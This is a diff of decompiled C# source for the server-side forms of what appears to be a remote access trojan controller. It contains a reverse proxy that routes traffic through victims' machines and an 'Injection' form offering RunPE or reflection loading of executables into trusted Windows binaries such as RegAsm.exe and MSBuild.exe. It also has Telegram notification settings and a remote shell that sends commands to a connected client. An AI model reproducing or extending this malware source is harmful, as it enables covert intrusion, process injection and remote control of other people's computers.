((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.lblLocalServerPort.AutoSize = true;
this.lblLocalServerPort.Location = new System.Drawing.Point(5, 10);
this.lblLocalServerPort.Name = "lblLocalServerPort";
this.lblLocalServerPort.Size = new System.Drawing.Size(89, 13);
this.lblLocalServerPort.TabIndex = 0;
this.lblLocalServerPort.Text = "Local Server Port";
this.nudServerPort.EditValue = new decimal(new int[4] { 3128, 0, 0, 0 });
this.nudServerPort.Location = new System.Drawing.Point(101, 3);
this.nudServerPort.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.nudServerPort.Name = "nudServerPort";
this.nudServerPort.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.nudServerPort.Size = new System.Drawing.Size(86, 28);
this.nudServerPort.TabIndex = 10;
this.btnStop.Dock = System.Windows.Forms.DockStyle.Right;
this.btnStop.Location = new System.Drawing.Point(822, 2);
this.btnStop.Name = "btnStop";
this.btnStop.Size = new System.Drawing.Size(160, 30);
this.btnStop.TabIndex = 9;
this.btnStop.Text = "Stop Listening";
this.btnStop.Click += new System.EventHandler(btnStop_Click);
this.btnStart.Dock = System.Windows.Forms.DockStyle.Right;
this.btnStart.Location = new System.Drawing.Point(662, 2);
this.btnStart.Name = "btnStart";
this.btnStart.Size = new System.Drawing.Size(160, 30);
this.btnStart.TabIndex = 8;
this.btnStart.Text = "Start Listening";
this.btnStart.Click += new System.EventHandler(btnStart_Click);
this.gridControlConnections.Dock = System.Windows.Forms.DockStyle.Fill;
this.gridControlConnections.Location = new System.Drawing.Point(0, 0);
this.gridControlConnections.MainView = this.gridViewConnections;
this.gridControlConnections.MenuManager = this.barManager1;
this.gridControlConnections.Name = "gridControlConnections";
this.gridControlConnections.Size = new System.Drawing.Size(982, 519);
this.gridControlConnections.TabIndex = 8;
this.gridControlConnections.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[1] { this.gridViewConnections });
this.gridControlConnections.MouseUp += new System.Windows.Forms.MouseEventHandler(lstConnections_MouseUp);
this.gridViewConnections.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[8] { this.UserIPColumn, this.UserCountryColumn, this.ProxyIPColumn, this.ProxyCountryColumn, this.ProxyTypeColumn, this.TargetColumn, this.ReceivedColumn, this.SentColumn });
this.gridViewConnections.GridControl = this.gridControlConnections;
this.gridViewConnections.Name = "gridViewConnections";
this.gridViewConnections.OptionsView.ShowGroupPanel = false;
this.UserIPColumn.Caption = "UserIP";
this.UserIPColumn.FieldName = "UserIP";
this.UserIPColumn.Name = "UserIPColumn";
this.UserIPColumn.OptionsColumn.AllowEdit = false;
this.UserIPColumn.Visible = true;
this.UserIPColumn.VisibleIndex = 0;
this.UserCountryColumn.Caption = "UserCountry";
this.UserCountryColumn.FieldName = "UserCountry";
this.UserCountryColumn.Name = "UserCountryColumn";
this.UserCountryColumn.OptionsColumn.AllowEdit = false;
this.UserCountryColumn.Visible = true;
this.UserCountryColumn.VisibleIndex = 1;
this.ProxyIPColumn.Caption = "ProxyIp";
this.ProxyIPColumn.FieldName = "ClientIP";
this.ProxyIPColumn.Name = "ProxyIPColumn";
this.ProxyIPColumn.OptionsColumn.AllowEdit = false;
this.ProxyIPColumn.Visible = true;
this.ProxyIPColumn.VisibleIndex = 2;
this.ProxyCountryColumn.Caption = "ProxyCountry";
this.ProxyCountryColumn.FieldName = "ClientCountry";
this.ProxyCountryColumn.Name = "ProxyCountryColumn";
this.ProxyCountryColumn.OptionsColumn.AllowEdit = false;
this.ProxyCountryColumn.Visible = true;
this.ProxyCountryColumn.VisibleIndex = 3;
this.ProxyTypeColumn.Caption = "Type";
this.ProxyTypeColumn.FieldName = "TypeStr";
this.ProxyTypeColumn.Name = "ProxyTypeColumn";
this.ProxyTypeColumn.OptionsColumn.AllowEdit = false;
this.ProxyTypeColumn.Visible = true;
this.ProxyTypeColumn.VisibleIndex = 4;
this.TargetColumn.Caption = "Target";
this.TargetColumn.FieldName = "TargetStr";
this.TargetColumn.Name = "TargetColumn";
this.TargetColumn.OptionsColumn.AllowEdit = false;
this.TargetColumn.Visible = true;
this.TargetColumn.VisibleIndex = 5;
this.ReceivedColumn.Caption = "Received";
this.ReceivedColumn.FieldName = "ReceivedStr";
this.ReceivedColumn.Name = "ReceivedColumn";
this.ReceivedColumn.OptionsColumn.AllowEdit = false;
this.ReceivedColumn.Visible = true;
this.ReceivedColumn.VisibleIndex = 6;
this.SentColumn.Caption = "Sent";
this.SentColumn.FieldName = "SendStr";
this.SentColumn.Name = "SentColumn";
this.SentColumn.OptionsColumn.AllowEdit = false;
this.SentColumn.Visible = true;
this.SentColumn.VisibleIndex = 7;
this.barManager1.DockControls.Add(this.barDockControlTop);
this.barManager1.DockControls.Add(this.barDockControlBottom);
this.barManager1.DockControls.Add(this.barDockControlLeft);
this.barManager1.DockControls.Add(this.barDockControlRight);
this.barManager1.Form = this;
this.barManager1.Items.AddRange(new DevExpress.XtraBars.BarItem[1] { this.CloseConnectionMenu });
this.barManager1.MaxItemId = 1;
this.barDockControlTop.CausesValidation = false;
this.barDockControlTop.Dock = System.Windows.Forms.DockStyle.Top;
this.barDockControlTop.Location = new System.Drawing.Point(0, 0);
this.barDockControlTop.Manager = this.barManager1;
this.barDockControlTop.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlTop.Size = new System.Drawing.Size(984, 0);
this.barDockControlBottom.CausesValidation = false;
this.barDockControlBottom.Dock = System.Windows.Forms.DockStyle.Bottom;
this.barDockControlBottom.Location = new System.Drawing.Point(0, 584);
this.barDockControlBottom.Manager = this.barManager1;
this.barDockControlBottom.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlBottom.Size = new System.Drawing.Size(984, 0);
this.barDockControlLeft.CausesValidation = false;
this.barDockControlLeft.Dock = System.Windows.Forms.DockStyle.Left;
this.barDockControlLeft.Location = new System.Drawing.Point(0, 0);
this.barDockControlLeft.Manager = this.barManager1;
this.barDockControlLeft.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlLeft.Size = new System.Drawing.Size(0, 584);
this.barDockControlRight.CausesValidation = false;
this.barDockControlRight.Dock = System.Windows.Forms.DockStyle.Right;
this.barDockControlRight.Location = new System.Drawing.Point(984, 0);
this.barDockControlRight.Manager = this.barManager1;
this.barDockControlRight.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlRight.Size = new System.Drawing.Size(0, 584);
this.CloseConnectionMenu.Caption = "Close Connection";
this.CloseConnectionMenu.Id = 0;
this.CloseConnectionMenu.Name = "CloseConnectionMenu";
this.CloseConnectionMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(CloseConnectionMenu_ItemClick);
this.popupMenuConntections.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[1]
{
new DevExpress.XtraBars.LinkPersistInfo(this.CloseConnectionMenu)
});
this.popupMenuConntections.Manager = this.barManager1;
this.popupMenuConntections.Name = "popupMenuConntections";
this.panelControl1.Controls.Add(this.btnStart);
this.panelControl1.Controls.Add(this.nudServerPort);
this.panelControl1.Controls.Add(this.lblLocalServerPort);
this.panelControl1.Controls.Add(this.btnStop);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panelControl1.Location = new System.Drawing.Point(0, 550);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(984, 34);
this.panelControl1.TabIndex = 13;
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(984, 550);
this.xtraTabControl1.TabIndex = 14;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.gridControlConnections);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(982, 519);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(984, 584);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.panelControl1);
base.Controls.Add(this.barDockControlLeft);
base.Controls.Add(this.barDockControlRight);
base.Controls.Add(this.barDockControlBottom);
base.Controls.Add(this.barDockControlTop);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormReverseProxy.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormReverseProxy.IconOptions.Image");
base.Name = "FormReverseProxy";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Reverse Proxy";
base.FormClosing += new System.Windows.Forms.FormClosingEventHandler(FormReverseProxy_FormClosing);
base.Load += new System.EventHandler(FormReverseProxy_Load);
((System.ComponentModel.ISupportInitialize)this.nudServerPort.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.gridControlConnections).EndInit();
((System.ComponentModel.ISupportInitialize)this.gridViewConnections).EndInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).EndInit();
((System.ComponentModel.ISupportInitialize)this.popupMenuConntections).EndInit();
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
this.panelControl1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
base.ResumeLayout(false);
base.PerformLayout();
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,280 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using Server.Helper;
namespace Server.Forms;
public class FormSendFileToMemory : XtraForm
{
private IContainer components;
private Label label2;
private Label label1;
private StatusStrip statusStrip1;
public ToolStripStatusLabel toolStripStatusLabel1;
private Label label3;
private SimpleButton simpleButton1;
private SimpleButton simpleButton3;
public SimpleButton btnIcon;
public ComboBoxEdit comboBox1;
public ComboBoxEdit comboBox2;
private GroupControl groupBox1;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormSendFileToMemory()
{
InitializeComponent();
}
private void SendFileToMemory_Load(object sender, EventArgs e)
{
comboBox1.SelectedIndex = 0;
comboBox2.SelectedIndex = 0;
}
private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
{
switch (comboBox1.SelectedIndex)
{
case 0:
label3.Visible = false;
comboBox2.Visible = false;
break;
case 1:
label3.Visible = true;
comboBox2.Visible = true;
break;
}
}
private void button1_Click(object sender, EventArgs e)
{
using OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "(*.exe)|*.exe";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
toolStripStatusLabel1.Text = Path.GetFileName(openFileDialog.FileName);
toolStripStatusLabel1.Tag = openFileDialog.FileName;
toolStripStatusLabel1.ForeColor = Color.Green;
if (comboBox1.SelectedIndex == 0)
{
try
{
new ReferenceLoader().AppDomainSetup(openFileDialog.FileName);
return;
}
catch
{
toolStripStatusLabel1.ForeColor = Color.Red;
toolStripStatusLabel1.Text += " Invalid!";
return;
}
}
}
else
{
toolStripStatusLabel1.Text = "";
toolStripStatusLabel1.ForeColor = Color.Black;
}
}
private void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormSendFileToMemory));
this.comboBox2 = new DevExpress.XtraEditors.ComboBoxEdit();
this.btnIcon = new DevExpress.XtraEditors.SimpleButton();
this.comboBox1 = new DevExpress.XtraEditors.ComboBoxEdit();
this.label2 = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.simpleButton1 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.groupBox1 = new DevExpress.XtraEditors.GroupControl();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.comboBox2.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.comboBox1.Properties).BeginInit();
this.statusStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.groupBox1).BeginInit();
this.groupBox1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.comboBox2.EditValue = "aspnet_compiler.exe";
this.comboBox2.Location = new System.Drawing.Point(95, 93);
this.comboBox2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.comboBox2.Name = "comboBox2";
this.comboBox2.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.comboBox2.Properties.Items.AddRange(new object[5] { "aspnet_compiler.exe", "RegAsm.exe", "MSBuild.exe", "RegSvcs.exe", "vbc.exe" });
this.comboBox2.Size = new System.Drawing.Size(141, 28);
this.comboBox2.TabIndex = 123;
this.comboBox2.SelectedIndexChanged += new System.EventHandler(comboBox2_SelectedIndexChanged);
this.btnIcon.ImageOptions.ImageToTextAlignment = DevExpress.XtraEditors.ImageAlignToText.LeftCenter;
this.btnIcon.ImageOptions.ImageToTextIndent = 0;
this.btnIcon.ImageOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("btnIcon.ImageOptions.SvgImage");
this.btnIcon.ImageOptions.SvgImageColorizationMode = DevExpress.Utils.SvgImageColorizationMode.Full;
this.btnIcon.ImageOptions.SvgImageSize = new System.Drawing.Size(30, 30);
this.btnIcon.Location = new System.Drawing.Point(95, 59);
this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(32, 27);
this.btnIcon.TabIndex = 121;
this.btnIcon.Click += new System.EventHandler(button1_Click);
this.comboBox1.EditValue = "Reflection";
this.comboBox1.Location = new System.Drawing.Point(95, 26);
this.comboBox1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.comboBox1.Name = "comboBox1";
this.comboBox1.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.comboBox1.Properties.Items.AddRange(new object[2] { "Reflection", "RunPE" });
this.comboBox1.Size = new System.Drawing.Size(141, 28);
this.comboBox1.TabIndex = 122;
this.comboBox1.SelectedIndexChanged += new System.EventHandler(comboBox1_SelectedIndexChanged);
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(46, 67);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(27, 13);
this.label2.TabIndex = 1;
this.label2.Text = "File:";
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(46, 99);
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(43, 13);
this.label3.TabIndex = 1;
this.label3.Text = "Target:";
this.label3.Visible = false;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(46, 32);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(35, 13);
this.label1.TabIndex = 1;
this.label1.Text = "Type:";
this.statusStrip1.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[1] { this.toolStripStatusLabel1 });
this.statusStrip1.Location = new System.Drawing.Point(0, 256);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Padding = new System.Windows.Forms.Padding(1, 0, 9, 0);
this.statusStrip1.Size = new System.Drawing.Size(349, 22);
this.statusStrip1.SizingGrip = false;
this.statusStrip1.TabIndex = 2;
this.statusStrip1.Text = "statusStrip1";
this.toolStripStatusLabel1.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text;
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
this.toolStripStatusLabel1.Size = new System.Drawing.Size(16, 17);
this.toolStripStatusLabel1.Text = "...";
this.simpleButton1.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.simpleButton1.Location = new System.Drawing.Point(153, 144);
this.simpleButton1.Name = "simpleButton1";
this.simpleButton1.Size = new System.Drawing.Size(82, 24);
this.simpleButton1.TabIndex = 32;
this.simpleButton1.Text = "Cancel";
this.simpleButton3.DialogResult = System.Windows.Forms.DialogResult.OK;
this.simpleButton3.Location = new System.Drawing.Point(49, 144);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.Size = new System.Drawing.Size(82, 24);
this.simpleButton3.TabIndex = 31;
this.simpleButton3.Text = "OK";
this.groupBox1.Controls.Add(this.comboBox2);
this.groupBox1.Controls.Add(this.simpleButton1);
this.groupBox1.Controls.Add(this.label1);
this.groupBox1.Controls.Add(this.simpleButton3);
this.groupBox1.Controls.Add(this.btnIcon);
this.groupBox1.Controls.Add(this.label3);
this.groupBox1.Controls.Add(this.comboBox1);
this.groupBox1.Controls.Add(this.label2);
this.groupBox1.GroupStyle = DevExpress.Utils.GroupStyle.Light;
this.groupBox1.Location = new System.Drawing.Point(31, 23);
this.groupBox1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(284, 185);
this.groupBox1.TabIndex = 33;
this.groupBox1.Text = "Inject";
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(349, 256);
this.xtraTabControl2.TabIndex = 34;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.groupBox1);
this.xtraTabPage2.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(347, 225);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(349, 278);
base.Controls.Add(this.xtraTabControl2);
base.Controls.Add(this.statusStrip1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormSendFileToMemory.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormSendFileToMemory.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(407, 375);
base.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(407, 375);
base.Name = "FormSendFileToMemory";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Injection";
base.Load += new System.EventHandler(SendFileToMemory_Load);
((System.ComponentModel.ISupportInitialize)this.comboBox2.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.comboBox1.Properties).EndInit();
this.statusStrip1.ResumeLayout(false);
this.statusStrip1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.groupBox1).EndInit();
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
base.ResumeLayout(false);
base.PerformLayout();
}
}

File diff suppressed because one or more lines are too long

162
Forms/FormSetting.cs Normal file
View File

@ -0,0 +1,162 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using Server.Properties;
namespace Server.Forms;
public class FormSetting : XtraForm
{
private IContainer components;
private Label label3;
private Label label4;
private CheckEdit checkBoxTelegram;
private SimpleButton simpleButton3;
private TextEdit textBoxTgHook;
private TextEdit textBoxTgchatID;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormSetting()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
if ((checkBoxTelegram.Checked && string.IsNullOrEmpty(textBoxTgHook.Text)) || string.IsNullOrEmpty(textBoxTgchatID.Text))
{
MessageBox.Show("Input Telegram Hook and ChatID");
}
Server.Properties.Settings.Default.TelegramEnabled = checkBoxTelegram.Checked;
Server.Properties.Settings.Default.TelegramToken = textBoxTgHook.Text;
Server.Properties.Settings.Default.TelegramChatId = textBoxTgchatID.Text;
Server.Properties.Settings.Default.Save();
Close();
}
private void FormSetting_Load(object sender, EventArgs e)
{
checkBoxTelegram.Checked = Server.Properties.Settings.Default.TelegramEnabled;
textBoxTgHook.Text = Server.Properties.Settings.Default.TelegramToken;
textBoxTgchatID.Text = Server.Properties.Settings.Default.TelegramChatId;
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormSetting));
this.label3 = new System.Windows.Forms.Label();
this.label4 = new System.Windows.Forms.Label();
this.checkBoxTelegram = new DevExpress.XtraEditors.CheckEdit();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.textBoxTgHook = new DevExpress.XtraEditors.TextEdit();
this.textBoxTgchatID = new DevExpress.XtraEditors.TextEdit();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.checkBoxTelegram.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.textBoxTgHook.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.textBoxTgchatID.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(53, 72);
this.label3.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(48, 16);
this.label3.TabIndex = 4;
this.label3.Text = "Token:";
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(53, 116);
this.label4.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(51, 16);
this.label4.TabIndex = 5;
this.label4.Text = "ChatID:";
this.checkBoxTelegram.Location = new System.Drawing.Point(53, 31);
this.checkBoxTelegram.Margin = new System.Windows.Forms.Padding(4);
this.checkBoxTelegram.Name = "checkBoxTelegram";
this.checkBoxTelegram.Properties.Caption = "Telegram";
this.checkBoxTelegram.Size = new System.Drawing.Size(88, 22);
this.checkBoxTelegram.TabIndex = 6;
this.simpleButton3.DialogResult = System.Windows.Forms.DialogResult.OK;
this.simpleButton3.Location = new System.Drawing.Point(107, 154);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.Size = new System.Drawing.Size(320, 30);
this.simpleButton3.TabIndex = 30;
this.simpleButton3.Text = "Apply";
this.simpleButton3.Click += new System.EventHandler(button1_Click);
this.textBoxTgHook.Location = new System.Drawing.Point(107, 65);
this.textBoxTgHook.Name = "textBoxTgHook";
this.textBoxTgHook.Size = new System.Drawing.Size(320, 30);
this.textBoxTgHook.TabIndex = 31;
this.textBoxTgchatID.Location = new System.Drawing.Point(107, 109);
this.textBoxTgchatID.Name = "textBoxTgchatID";
this.textBoxTgchatID.Size = new System.Drawing.Size(320, 30);
this.textBoxTgchatID.TabIndex = 32;
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(488, 254);
this.xtraTabControl2.TabIndex = 33;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.checkBoxTelegram);
this.xtraTabPage2.Controls.Add(this.textBoxTgchatID);
this.xtraTabPage2.Controls.Add(this.label3);
this.xtraTabPage2.Controls.Add(this.textBoxTgHook);
this.xtraTabPage2.Controls.Add(this.label4);
this.xtraTabPage2.Controls.Add(this.simpleButton3);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(486, 223);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(488, 254);
base.Controls.Add(this.xtraTabControl2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormSetting.IconOptions.Icon");
base.IconOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("FormSetting.IconOptions.SvgImage");
base.Margin = new System.Windows.Forms.Padding(4);
base.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(490, 288);
base.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(490, 288);
base.Name = "FormSetting";
base.ShowInTaskbar = false;
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Setting";
base.Load += new System.EventHandler(FormSetting_Load);
((System.ComponentModel.ISupportInitialize)this.checkBoxTelegram.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.textBoxTgHook.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.textBoxTgchatID.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
this.xtraTabPage2.PerformLayout();
base.ResumeLayout(false);
}
}

30
Forms/FormSetting.resx Normal file

File diff suppressed because one or more lines are too long

163
Forms/FormShell.cs Normal file
View File

@ -0,0 +1,163 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Forms;
public class FormShell : XtraForm
{
private IContainer components;
public RichTextBox richTextBox1;
public System.Windows.Forms.Timer timer1;
private TextEdit textBox1;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormMain F { get; set; }
internal Clients Client { get; set; }
public FormShell()
{
InitializeComponent();
}
private void TextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (Client != null && e.KeyData == Keys.Return && !string.IsNullOrWhiteSpace(textBox1.Text))
{
if (textBox1.Text == "cls".ToLower())
{
richTextBox1.Clear();
textBox1.Text = "";
}
if (textBox1.Text == "exit".ToLower())
{
Close();
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "shellWriteInput";
msgPack.ForcePathObject("WriteInput").AsString = textBox1.Text;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
textBox1.Text = "";
}
}
private void FormShell_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "shellWriteInput";
msgPack.ForcePathObject("WriteInput").AsString = "exit";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
